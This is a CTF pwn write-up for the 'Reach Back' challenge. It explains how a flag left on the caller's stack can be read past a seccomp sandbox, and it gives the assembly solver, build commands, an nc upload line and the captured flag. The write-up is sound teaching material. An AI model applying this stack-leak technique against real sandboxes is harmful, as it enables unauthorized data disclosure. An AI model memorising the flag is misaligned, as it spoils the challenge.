Securinets ENIT Friendly CTF 2026 / Pwn WRITEUP
Reach Back
The secret was already delivered. You just need to remember where the caller left it. Upload one x86-64 shared object exporting `solve` and make the sandbox print the flag.
Walkthrough
Solution
The caller opens the flag before installing seccomp, reads it into its own stack frame, and then calls the uploaded solve function. At solve entry the saved flag buffer begins exactly 0x40 bytes above rsp. Although the sandbox blocks file access, it still permits write.
Export a relocation-free solve function that writes 128 bytes from rsp + 0x40 to standard output and returns. Build it as a shared object and send one base64 line to the service:
as --64 -o solve.o solve.s
ld -shared -z noexecstack -o solve.so solve.o
base64 -w0 solve.so | nc pwn.securinets-enit.club 1321Reference solver
The reference solver supplied with the writeup:
.intel_syntax noprefix
.global solve
.type solve, @function
.section .text
solve:
lea rsi, [rsp + 0x40]
mov edi, 1
mov edx, 0x80
mov eax, 1
syscall
ret
.size solve, .-solve
.section .note.GNU-stack,"",@progbitsFlag
SecurinetsENIT{826911fc00150e92abba62709557ee1e955e5ba4148d7f511eafea0f700f89e7}